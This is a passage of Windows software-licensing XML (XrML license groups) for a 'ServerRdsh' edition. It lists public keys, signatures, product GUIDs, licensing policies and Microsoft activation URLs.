Jk6PWQa6VfjBzPQUgSVywIRU+OKbnzNbUVmQ/rAN6+AN/8fRmFhyKqOAiV/Np2jBtGNxLXm9ebMdm5cB8/YNrjp5Ey0nyAtYvovb0B7wnQZfolMF+OFiqzWJo2Ze0O7WHsWBHtIlGR3+c/IjxUJAsI7O3U4hncCZdvlC5GORI2YL9YHZgU9guSPLhAybQ3IGg7LBuQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature><r:details><r:timeOfIssue>2016-01-01T00:00:00Z</r:timeOfIssue></r:details></r:issuer><r:otherInfo xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS"><tm:infoTables xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><tm:infoList tag="#global"><tm:infoStr name="licenseType">msft:sl/EUL/PHONE/PRIVATE</tm:infoStr><tm:infoStr name="licenseCategory">msft:sl/EUL/PHONE/PRIVATE</tm:infoStr><tm:infoStr name="licenseVersion">2.0</tm:infoStr><tm:infoStr name="licensorUrl">http://licensing.microsoft.com</tm:infoStr><tm:infoStr name="issuanceCertificateId">{7e3094cf-ce3e-4ed4-8c8c-20c2be1add03}</tm:infoStr><tm:infoStr name="publicCertificateId">{c7ebaaa5-9c17-47f7-9003-ed59bcedae90}</tm:infoStr><tm:infoStr name="productSkuId">{df96023b-dcd9-4be2-afa0-c6c871159ebe}</tm:infoStr><tm:infoStr name="hwid:ootGrace">0</tm:infoStr><tm:infoStr name="win:branding">175</tm:infoStr></tm:infoList></tm:infoTables></r:otherInfo></r:license></rg:licenseGroup>
<?xml version="1.0" encoding="utf-8"?><rg:licenseGroup xmlns:rg="urn:mpeg:mpeg21:2003:01-REL-R-NS"><r:license xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS" licenseId="{c27d5d36-83f0-4c6c-a301-2500289627f2}" xmlns:sx="urn:mpeg:mpeg21:2003:01-REL-SX-NS" xmlns:mx="urn:mpeg:mpeg21:2003:01-REL-MX-NS" xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2" xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><r:title>Windows(R) UL store License (Public)</r:title><r:grant><r:forAll varName="application"><r:anXmlExpression>editionId[@value="" or @value="ServerRdsh"]</r:anXmlExpression></r:forAll><r:forAll varName="appid"><r:propertyPossessor><tm:application varRef="application"/><r:trustedRootIssuers><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>tajcnLtdaeK0abuL2BpVC7obdfSChnHAx7TSn/37DwbTDegkDkEnbr0YyO/Q5Jluj5QD897+nWW54RDbYYTdNgWjyUpwYEJFXSZtd8LFK2mbIjKfG2HIShp6JJARlrgObR89a1EH716nP3PbJk6PWQa6VfjBzPQUgSVywIRU+OKbnzNbUVmQ/rAN6+AN/8fRmFhyKqOAiV/Np2jBtGNxLXm9ebMdm5cB8/YNrjp5Ey0nyAtYvovb0B7wnQZfolMF+OFiqzWJo2Ze0O7WHsWBHtIlGR3+c/IjxUJAsI7O3U4hncCZdvlC5GORI2YL9YHZgU9guSPLhAybQ3IGg7LBuQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder></r:trustedRootIssuers></r:propertyPossessor></r:forAll><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>17FgQIuX2S7YIVn8PIeN+qANo4/TUbV8CH5TzbXwmWo4WVI4npVqI4NNhRVsP0ICgMpql1jgAm75dZDBPTzRTCj+Ni0DXIvk6Whlo/ClK/fpZUO3ORQ9VmBE3cXeQQAehgVlUUIzOmG4EeP1i91PCGf5O7I4ayYS2FeQUj+6hyk=</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder><sl:runSoftware/><sl:appId varRef="appid"/><r:allConditions><r:allConditions><sl:productPolicies xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2"><sl:priority>500</sl:priority><sl:policyInt name="Security-SPP-Reserved-Store-Token-Required" attributes="override-only">0</sl:policyInt><sl:policyStr name="Security-SPP-Reserved-Windows-Version-V2" attributes="override-only">10.0</sl:policyStr><sl:policyInt name="Security-SPP-WriteWauMarker">1</sl:policyInt><sl:policyStr name="Security-SPP-Reserved-Family" attributes="override-only">ServerRdsh</sl:policyStr></sl:productPolicies></r:allConditions><mx:renderer><sl:noBinding/></mx:renderer><sl:productIdRange xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2" value="{df96023b-dcd9-4be2-afa0-c6c871159ebe}"></sl:productIdRange><sl:externalValidator xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2"><sl:type>msft:sl/externalValidator/generic</sl:type><sl:data Algorithm="msft:rm/algorithm/flags/1.0">DAAAAAEAAAABAAAA</sl:data></sl:externalValidator></r:allConditions></r:grant><r:issuer><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.microsoft.com/xrml/lwc14n"/><SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/><Reference><Transforms><Transform Algorithm="urn:mpeg:mpeg21:2003:01-REL-R-NS:licenseTransform"/><Transform Algorithm="http://www.microsoft.com/xrml/lwc14n"/></Transforms><DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/><DigestValue>OhqM9E77CmG+Nu+doXPES7xYdt0=</DigestValue></Reference></SignedInfo><SignatureValue>I6WVGZOwxGqaJRQCKqPkEl2JM4HYRPswxZunU5lWasqBQddpzGJnEW/+nlRbKPsYesM4cwJr0V1BZWVYKHHtDq2+dghwrSIbE2r0KTPXAUPtXCKpxlkoS1etLKisHj3njsZuDJ2/z5g9v5Bi+/AETabMAhDtrN7m8Omc3kuO1aTPI/OzV0pwohkBGLmb68w8QXs02LoNgJG72M3wb8CnjVEzncjNbM1W8x8vGS44S0/Kb4AWGNPJUVXX+sk4tBnofswMzyNHY1lpczPAJA8ouSWLKW4s/r7QkUUpJDZyfSKBE6tsz+jPZqAqalWWTsvvvFOMsfvQzxAJoQiwsrvrUg==</SignatureValue><KeyInfo><KeyValue><RSAKeyValue><Modulus>tajcnLtdaeK0abuL2BpVC7obdfSChnHAx7TSn/37DwbTDegkDkEnbr0YyO/Q5Jluj5QD897+nWW54RDbYYTdNgWjyUpwYEJFXSZtd8LFK2mbIjKfG2HIShp6JJARlrgObR89a1EH716nP3PbJk6PWQa6VfjBzPQUgSVywIRU+OKbnzNbUVmQ/rAN6+AN/8fRmFhyKqOAiV/Np2jBtGNxLXm9ebMdm5cB8/YNrjp5Ey0nyAtYvovb0B7wnQZfolMF+OFiqzWJo2Ze0O7WHsWBHtIlGR3+c/IjxUJAsI7O3U4hncCZdvlC5GORI2YL9YHZgU9guSPLhAybQ3IGg7LBuQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature><r:details><r:timeOfIssue>2016-01-01T00:00:00Z</r:timeOfIssue></r:details></r:issuer><r:otherInfo xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS"><tm:infoTables xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><tm:infoList tag="#global"><tm:infoStr name="licenseType">msft:sl/EUL/STORE/PUBLIC</tm:infoStr><tm:infoStr name="licenseCategory">msft:sl/EUL/STORE/PUBLIC</tm:infoStr><tm:infoStr name="licenseVersion">2.0</tm:infoStr><tm:infoStr name="licensorUrl">http://licensing.microsoft.com</tm:infoStr><tm:infoStr name="issuanceCertificateId">{7e3094cf-ce3e-4ed4-8c8c-20c2be1add03}</tm:infoStr><tm:infoStr name="productSkuId">{df96023b-dcd9-4be2-afa0-c6c871159ebe}</tm:infoStr><tm:infoStr name="privateCertificateId">{f2156d98-2bef-40e3-a500-d8813d134784}</tm:infoStr><tm:infoStr name="applicationId">{55c92734-d682-4d71-983e-d6ec3f16059f}</tm:infoStr><tm:infoStr name="pkeyConfigLicenseId">{06a4dd30-84b7-4fd2-b859-f1eddb0858f5}</tm:infoStr><tm:infoStr name="productName">Windows(R), ServerRdsh edition</tm:infoStr><tm:infoStr name="productAuthor">Microsoft Corporation</tm:infoStr><tm:infoStr name="productDescription">Windows(R) Operating System, RETAIL channel</tm:infoStr><tm:infoStr name="UXDifferentiator">RETAIL</tm:infoStr><tm:infoStr name="Family">ServerRdsh</tm:infoStr><tm:infoStr name="ProductKeyGroupUniqueness">WINDOWS6.2</tm:infoStr><tm:infoStr name="hwid:ootGrace">0</tm:infoStr></tm:infoList></tm:infoTables></r:otherInfo></r:license><r:license xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS" licenseId="{f2156d98-2bef-40e3-a500-d8813d134784}" xmlns:sx="urn:mpeg:mpeg21:2003:01-REL-SX-NS" xmlns:mx="urn:mpeg:mpeg21:2003:01-REL-MX-NS" xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2" xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><r:title>Windows(R) UL store License (Private)</r:title><r:grant><r:forAll varName="anyRight"></r:forAll><r:forAll varName="anyAppId"></r:forAll><r:keyHolder licensePartId="accountKey"><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>17FgQIuX2S7YIVn8PIeN+qANo4/TUbV8CH5TzbXwmWo4WVI4npVqI4NNhRVsP0ICgMpql1jgAm75dZDBPTzRTCj+Ni0DXIvk6Whlo/ClK/fpZUO3ORQ9VmBE3cXeQQAehgVlUUIzOmG4EeP1i91PCGf5O7I4ayYS2FeQUj+6hyk=</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder><tm:decryptContent/><tm:symmetricKey><tm:AESKeyValue size="16">AAAAAAAAAAAAAAAAAAAAAA==</tm:AESKeyValue></tm:symmetricKey><r:allConditions><r:prerequisiteRight><r:keyHolder licensePartIdRef="accountKey"/><r:right varRef="anyRight"/><sl:appId varRef="anyAppId"/><r:trustedRootIssuers><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>tajcnLtdaeK0abuL2BpVC7obdfSChnHAx7TSn/37DwbTDegkDkEnbr0YyO/Q5Jluj5QD897+nWW54RDbYYTdNgWjyUpwYEJFXSZtd8LFK2mbIjKfG2HIShp6JJARlrgObR89a1EH716nP3PbJk6PWQa6VfjBzPQUgSVywIRU+OKbnzNbUVmQ/rAN6+AN/8fRmFhyKqOAiV/Np2jBtGNxLXm9ebMdm5cB8/YNrjp5Ey0nyAtYvovb0B7wnQZfolMF+OFiqzWJo2Ze0O7WHsWBHtIlGR3+c/IjxUJAsI7O3U4hncCZdvlC5GORI2YL9YHZgU9guSPLhAybQ3IGg7LBuQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder></r:trustedRootIssuers></r:prerequisiteRight><r:allConditions></r:allConditions></r:allConditions></r:grant><r:issuer><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.microsoft.com/xrml/lwc14n"/><SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/><Reference><Transforms><Transform Algorithm="urn:mpeg:mpeg21:2003:01-REL-R-NS:licenseTransform"/><Transform Algorithm="http://www.microsoft.com/xrml/lwc14n"/></Transforms><DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/><DigestValue>8OoDO3gQwDUvuSuN/V3ASplt6Tg=</DigestValue></Reference></SignedInfo><SignatureValue>N5c9Og/4B/QHfKGU7PHqIwVTaQwwAzyYFCfVX2Op9TyYSQVn+3szS1C4NvG9paZs2eUDWCUy+hyyMt+v6YwKW5ip8doOOFDB+hDeqhzWa3TF3IVz0mpjBqFC5SREx333IgIOHeXPgT9PxRjkhmJfEH9tsAd2OzRzQgPHw6p4av4MQ8pw/xSbuyfwewK3ep2/OvoGTVW/QRopN+sbGpq5o34otcUxfqZjvTecvC23RQ9f4k3xeaZN5yoz6Cptu5TsOEAZODwhBxXMJpQOEWSOMSdaal4manhvdVJ2KoPDiQ+rBw4xJC7uQw5JOdJwANBcP6p7TMCK8wSG9SyzGyN7dQ==</SignatureValue><KeyInfo><KeyValue><RSAKeyValue><Modulus>tajcnLtdaeK0abuL2BpVC7obdfSChnHAx7TSn/37DwbTDegkDkEnbr0YyO/Q5Jluj5QD897+nWW54RDbYYTdNgWjyUpwYEJFXSZtd8LFK2mbIjKfG2HIShp6JJARlrgObR89a1EH716nP3PbJk6PWQa6VfjBzPQUgSVywIRU+OKbnzNbUVmQ/rAN6+AN/8fRmFhyKqOAiV/Np2jBtGNxLXm9ebMdm5cB8/YNrjp5Ey0nyAtYvovb0B7wnQZfolMF+OFiqzWJo2Ze0O7WHsWBHtIlGR3+c/IjxUJAsI7O3U4hncCZdvlC5GORI2YL9YHZgU9guSPLhAybQ3IGg7LBuQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature><r:details><r:timeOfIssue>2016-01-01T00:00:00Z</r:timeOfIssue></r:details></r:issuer><r:otherInfo xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS"><tm:infoTables xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><tm:infoList tag="#global"><tm:infoStr name="licenseType">msft:sl/EUL/STORE/PRIVATE</tm:infoStr><tm:infoStr name="licenseCategory">msft:sl/EUL/STORE/PRIVATE</tm:infoStr><tm:infoStr name="licenseVersion">2.0</tm:infoStr><tm:infoStr name="licensorUrl">http://licensing.microsoft.com</tm:infoStr><tm:infoStr name="issuanceCertificateId">{7e3094cf-ce3e-4ed4-8c8c-20c2be1add03}</tm:infoStr><tm:infoStr name="publicCertificateId">{c27d5d36-83f0-4c6c-a301-2500289627f2}</tm:infoStr><tm:infoStr name="productSkuId">{df96023b-dcd9-4be2-afa0-c6c871159ebe}</tm:infoStr><tm:infoStr name="hwid:ootGrace">0</tm:infoStr><tm:infoStr name="clip:policy">1</tm:infoStr><tm:infoStr name="win:branding">175</tm:infoStr></tm:infoList></tm:infoTables></r:otherInfo></r:license></rg:licenseGroup>
<?xml version="1.0" encoding="utf-8"?><rg:licenseGroup xmlns:rg="urn:mpeg:mpeg21:2003:01-REL-R-NS"><r:license xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS" licenseId="{706bfb1c-140c-40ef-81f8-8ff8f9b5af6f}" xmlns:sx="urn:mpeg:mpeg21:2003:01-REL-SX-NS" xmlns:mx="urn:mpeg:mpeg21:2003:01-REL-MX-NS" xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2" xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><r:title>Windows(R) UL oob License (Public)</r:title><r:grant><r:forAll varName="application"><r:anXmlExpression>editionId[@value="" or @value="ServerRdsh"]</r:anXmlExpression></r:forAll><r:forAll varName="appid"><r:propertyPossessor><tm:application varRef="application"/><r:trustedRootIssuers><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>tajcnLtdaeK0abuL2BpVC7obdfSChnHAx7TSn/37DwbTDegkDkEnbr0YyO/Q5Jluj5QD897+nWW54RDbYYTdNgWjyUpwYEJFXSZtd8LFK2mbIjKfG2HIShp6JJARlrgObR89a1EH716nP3PbJk6PWQa6VfjBzPQUgSVywIRU+OKbnzNbUVmQ/rAN6+AN/8fRmFhyKqOAiV/Np2jBtGNxLXm9ebMdm5cB8/YNrjp5Ey0nyAtYvovb0B7wnQZfolMF+OFiqzWJo2Ze0O7WHsWBHtIlGR3+c/IjxUJAsI7O3U4hncCZdvlC5GORI2YL9YHZgU9guSPLhAybQ3IGg7LBuQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder></r:trustedRootIssuers></r:propertyPossessor></r:forAll><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>17FgQIuX2S7YIVn8PIeN+qANo4/TUbV8CH5TzbXwmWo4WVI4npVqI4NNhRVsP0ICgMpql1jgAm75dZDBPTzRTCj+Ni0DXIvk6Whlo/ClK/fpZUO3ORQ9VmBE3cXeQQAehgVlUUIzOmG4EeP1i91PCGf5O7I4ayYS2FeQUj+6hyk=</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder><sl:runSoftware/><sl:appId varRef="appid"/><r:allConditions><r:allConditions><sl:productPolicies xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2"><sl:priority>500</sl:priority><sl:policyInt name="Security-SPP-Reserved-Store-Token-Required" attributes="override-only">0</sl:policyInt><sl:policyInt name="Kernel-NonGenuineNotificationType" attributes="override-only">2</sl:policyInt><sl:policyStr name="Security-SPP-Reserved-Windows-Version-V2" attributes="override-only">10.0</sl:policyStr><sl:policyInt name="Security-SPP-WriteWauMarker">1</sl:policyInt><sl:policyStr name="Security-SPP-Reserved-Family" attributes="override-only">ServerRdsh</sl:policyStr><sl:policyStr name="Security-SPP-Reserved-GraceTimerUniqueness" attributes="override-only">EditionId</sl:policyStr><sl:policyStr name="Security-SPP-Reserved-ValidityTimerUniqueness" attributes="override-only">EditionId</sl:policyStr></sl:productPolicies></r:allConditions><mx:renderer><sl:noBinding/></mx:renderer><sl:productIdRange xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2" value="{ec868e65-fadf-4759-b23e-93fe37f2cc29}"></sl:productIdRange></r:allConditions></r:grant><r:grant><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>17FgQIuX2S7YIVn8PIeN+qANo4/TUbV8CH5TzbXwmWo4WVI4npVqI4NNhRVsP0ICgMpql1jgAm75dZDBPTzRTCj+Ni0DXIvk6Whlo/ClK/fpZUO3ORQ9VmBE3cXeQQAehgVlUUIzOmG4EeP1i91PCGf5O7I4ayYS2FeQUj+6hyk=</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder><sl:runSoftware/><sl:appId><sl:guid>{55c92734-d682-4d71-983e-d6ec3f16059f}</sl:guid></sl:appId><r:allConditions><r:allConditions><sl:productPolicies xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2"><sl:priority>501</sl:priority><sl:policyInt name="Security-SPP-Reserved-NotificationGrantConsumed" attributes="override-only">1</sl:policyInt></sl:productPolicies></r:allConditions><mx:renderer><sl:noBinding/></mx:renderer><sl:productIdRange xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2" value="{ec868e65-fadf-4759-b23e-93fe37f2cc29}"></sl:productIdRange><sl:externalValidator xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2"><sl:type>msft:sl/externalValidator/generic</sl:type><sl:data Algorithm="msft:rm/algorithm/flags/1.0">DAAAAAEAAAADAAAA</sl:data></sl:externalValidator><sl:floatingPeriod xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2"><sl:duration>P0D</sl:duration><sl:type>msft:sl/grace-period</sl:type></sl:floatingPeriod></r:allConditions></r:grant><r:issuer><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.microsoft.com/xrml/lwc14n"/><SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/><Reference><Transforms><Transform Algorithm="urn:mpeg:mpeg21:2003:01-REL-R-NS:licenseTransform"/><Transform Algorithm="http://www.microsoft.com/xrml/lwc14n"/></Transforms><DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/><DigestValue>Sbe/dI8JRocl9YgJhagKCB/35Uw=</DigestValue></Reference></SignedInfo><SignatureValue>CD+fQEQDmN6xupUXz8ZXMHf6ZdzLjvYjCfYk15CLNQt1Lpx8p6QT9dRKe6n0kXuiUN4bnSPX1NGwClp1sd865swsaGZKT497d+WbwxK65l6e4xOd39tCx4k+1m0naZzWdueD/lnWavZla7nFwfsvOwOUs2aefHknO//xwIH8q4UGmaIRq+fGGrRZsyqqPkUuKWumCRdIGDnNBaFem4hEkDw5xPvZU5cC5kJMcAcGcV/pei3l60xmd9BP5nQWFJ/Aat4jSlQm1dn9XS7sutNhwMWp4+iU4qx3S18l0CXT+9Obyd16ku+Hv8pii4EIjy08ebM6Sm7Jlb/CEMTWQxMvIQ==</SignatureValue><KeyInfo><KeyValue><RSAKeyValue><Modulus>tajcnLtdaeK0abuL2BpVC7obdfSChnHAx7TSn/37DwbTDegkDkEnbr0YyO/Q5Jluj5QD897+nWW54RDbYYTdNgWjyUpwYEJFXSZtd8LFK2mbIjKfG2HIShp6JJARlrgObR89a1EH716nP3PbJk6PWQa6VfjBzPQUgSVywIRU+OKbnzNbUVmQ/rAN6+AN/8fRmFhyKqOAiV/Np2jBtGNxLXm9ebMdm5cB8/YNrjp5Ey0nyAtYvovb0B7wnQZfolMF+OFiqzWJo2Ze0O7WHsWBHtIlGR3+c/IjxUJAsI7O3U4hncCZdvlC5GORI2YL9YHZgU9guSPLhAybQ3IGg7LBuQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature><r:details><r:timeOfIssue>2016-01-01T00:00:00Z</r:timeOfIssue></r:details></r:issuer><r:otherInfo xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS"><tm:infoTables xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><tm:infoList tag="#global"><tm:infoStr name="licenseType">msft:sl/EUL/GENERIC/PUBLIC</tm:infoStr><tm:infoStr name="licenseCategory">msft:sl/EUL/GENERIC/PUBLIC</tm:infoStr><tm:infoStr name="licenseVersion">2.0</tm:infoStr><tm:infoStr name="licensorUrl">http://licensing.microsoft.com</tm:infoStr><tm:infoStr name="issuanceCertificateId">{7e3094cf-ce3e-4ed4-8c8c-20c2be1add03}</tm:infoStr><tm:infoStr name="productSkuId">{ec868e65-fadf-4759-b23e-93fe37f2cc29}</tm:infoStr><tm:infoStr name="privateCertificateId">{5febb499-185a-431f-bfc3-6eb0b7e3523e}</tm:infoStr><tm:infoStr name="applicationId">{55c92734-d682-4d71-983e-d6ec3f16059f}</tm:infoStr><tm:infoStr name="pkeyConfigLicenseId">{06a4dd30-84b7-4fd2-b859-f1eddb0858f5}</tm:infoStr><tm:infoStr name="productName">Windows(R), ServerRdsh edition</tm:infoStr><tm:infoStr name="productAuthor">Microsoft Corporation</tm:infoStr><tm:infoStr name="productDescription">Windows(R) Operating System, VOLUME_KMSCLIENT channel</tm:infoStr><tm:infoStr name="PAUrl">https://activation-v2.sls.microsoft.com/SLActivateProduct/SLActivateProduct.asmx?configextension=Retail</tm:infoStr><tm:infoStr name="ActivationSequence">msft:spp/licenseacquisition/payloadhandler/pa/1.0</tm:infoStr><tm:infoStr name="ValidationTemplateId">{99d92734-d682-4d71-983e-d6ec3f16059f}</tm:infoStr><tm:infoStr name="ValUrl">https://validation-v2.sls.microsoft.com/SLWGA/slwga.asmx</tm:infoStr><tm:infoStr name="UXDifferentiator">ENVIRONMENT</tm:infoStr><tm:infoStr name="Family">ServerRdsh</tm:infoStr><tm:infoStr name="ProductKeyGroupUniqueness">WINDOWS6.2</tm:infoStr><tm:infoStr name="EnableNotificationMode">1</tm:infoStr><tm:infoStr name="GraceTimerUniqueness">EditionId</tm:infoStr><tm:infoStr name="ValidityTimerUniqueness">EditionId</tm:infoStr></tm:infoList></tm:infoTables></r:otherInfo></r:license><r:license xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS" licenseId="{5febb499-185a-431f-bfc3-6eb0b7e3523e}" xmlns:sx="urn:mpeg:mpeg21:2003:01-REL-SX-NS" xmlns:mx="urn:mpeg:mpeg21:2003:01-REL-MX-NS" xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2" xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><r:title>Windows(R) UL oob License (Private)</r:title><r:grant><r:forAll varName="anyRight"></r:forAll><r:forAll varName="anyAppId"></r:forAll><r:keyHolder licensePartId="accountKey"><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>17FgQIuX2S7YIVn8PIeN+qANo4/TUbV8CH5TzbXwmWo4WVI4npVqI4NNhRVsP0ICgMpql1jgAm75dZDBPTzRTCj+Ni0DXIvk6Whlo/ClK/fpZUO3ORQ9VmBE3cXeQQAehgVlUUIzOmG4EeP1i91PCGf5O7I4ayYS2FeQUj+6hyk=</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder><tm:decryptContent/><tm:symmetricKey><tm:AESKeyValue size="16">AAAAAAAAAAAAAAAAAAAAAA==</tm:AESKeyValue></tm:symmetricKey><r:allConditions><r:prerequisiteRight><r:keyHolder licensePartIdRef="accountKey"/><r:right varRef="anyRight"/><sl:appId varRef="anyAppId"/><r:trustedRootIssuers><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>tajcnLtdaeK0abuL2BpVC7obdfSChnHAx7TSn/37DwbTDegkDkEnbr0YyO/Q5Jluj5QD897+nWW54RDbYYTdNgWjyUpwYEJFXSZtd8LFK2mbIjKfG2HIShp6JJARlrgObR89a1EH716nP3PbJk6PWQa6VfjBzPQUgSVywIRU+OKbnzNbUVmQ/rAN6+AN/8fRmFhyKqOAiV/Np2jBtGNxLXm9ebMdm5cB8/YNrjp5Ey0nyAtYvovb0B7wnQZfolMF+OFiqzWJo2Ze0O7WHsWBHtIlGR3+c/IjxUJAsI7O3U4hncCZdvlC5GORI2YL9YHZgU9guSPLhAybQ3IGg7LBuQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder></r:trustedRootIssuers></r:prerequisiteRight><r:allConditions></r:allConditions></r:allConditions></r:grant><r:issuer><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.microsoft.com/xrml/lwc14n"/><SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/><Reference><Transforms><Transform Algorithm="urn:mpeg:mpeg21:2003:01-REL-R-NS:licenseTransform"/><Transform Algorithm="http://www.microsoft.com/xrml/lwc14n"/></Transforms><DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/><DigestValue>bYh+r+Gya1IyPB2woOOg1SqvUvs=</DigestValue></Reference></SignedInfo><SignatureValue>Kih5P7HVB9A2UC7IUCco+99tX8r3E7efqQIOBg2t2asg8j7l4xg8KirA8YSQZ9BjVkePgZx1biDVrDpYoJfInEOmCiI4dn+1lcp50mapUFALWmV3GYptay6/bWAmwTUjL12KqCsBV7NOHQVamn3JkiD06axn5Z1HLhn+swT23KWWbvk++T3qhp8gIYdjFVMzj41x0A577AA2QI8z6nYlCfV0Ca9c2xX126bWryvpcomDufzXAXYc1ZPLA53grInsCTMYIqKFpBHSoeCL6VYIL7odD49ZSV8YmQ4hNfSgk/+ZZCDT6g/4ZYf/4YRsA7Io9j5UdtFvS9lST7Sdkioa2w==</SignatureValue><KeyInfo><KeyValue><RSAKeyValue><Modulus>tajcnLtdaeK0abuL2BpVC7obdfSChnHAx7TSn/37DwbTDegkDkEnbr0YyO/Q5Jluj5QD897+nWW54RDbYYTdNgWjyUpwYEJFXSZtd8LFK2mbIjKfG2HIShp6JJARlrgObR89a1EH716nP3PbJk6PWQa6VfjBzPQUgSVywIRU+OKbnzNbUVmQ/rAN6+AN/8fRmFhyKqOAiV/Np2jBtGNxLXm9ebMdm5cB8/YNrjp5Ey0nyAtYvovb0B7wnQZfolMF+OFiqzWJo2Ze0O7WHsWBHtIlGR3+c/IjxUJAsI7O3U4hncCZdvlC5GORI2YL9YHZgU9guSPLhAybQ3IGg7LBuQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature><r:details><r:timeOfIssue>2016-01-01T00:00:00Z</r:timeOfIssue></r:details></r:issuer><r:otherInfo xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS"><tm:infoTables xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><tm:infoList tag="#global"><tm:infoStr name="licenseType">msft:sl/EUL/GENERIC/PRIVATE</tm:infoStr><tm:infoStr name="licenseCategory">msft:sl/EUL/GENERIC/PRIVATE</tm:infoStr><tm:infoStr name="licenseVersion">2.0</tm:infoStr><tm:infoStr name="licensorUrl">http://licensing.microsoft.com</tm:infoStr><tm:infoStr name="issuanceCertificateId">{7e3094cf-ce3e-4ed4-8c8c-20c2be1add03}</tm:infoStr><tm:infoStr name="publicCertificateId">{706bfb1c-140c-40ef-81f8-8ff8f9b5af6f}</tm:infoStr><tm:infoStr name="productSkuId">{ec868e65-fadf-4759-b23e-93fe37f2cc29}</tm:infoStr><tm:infoStr name="win:branding">175</tm:infoStr></tm:infoList></tm:infoTables></r:otherInfo></r:license></rg:licenseGroup>
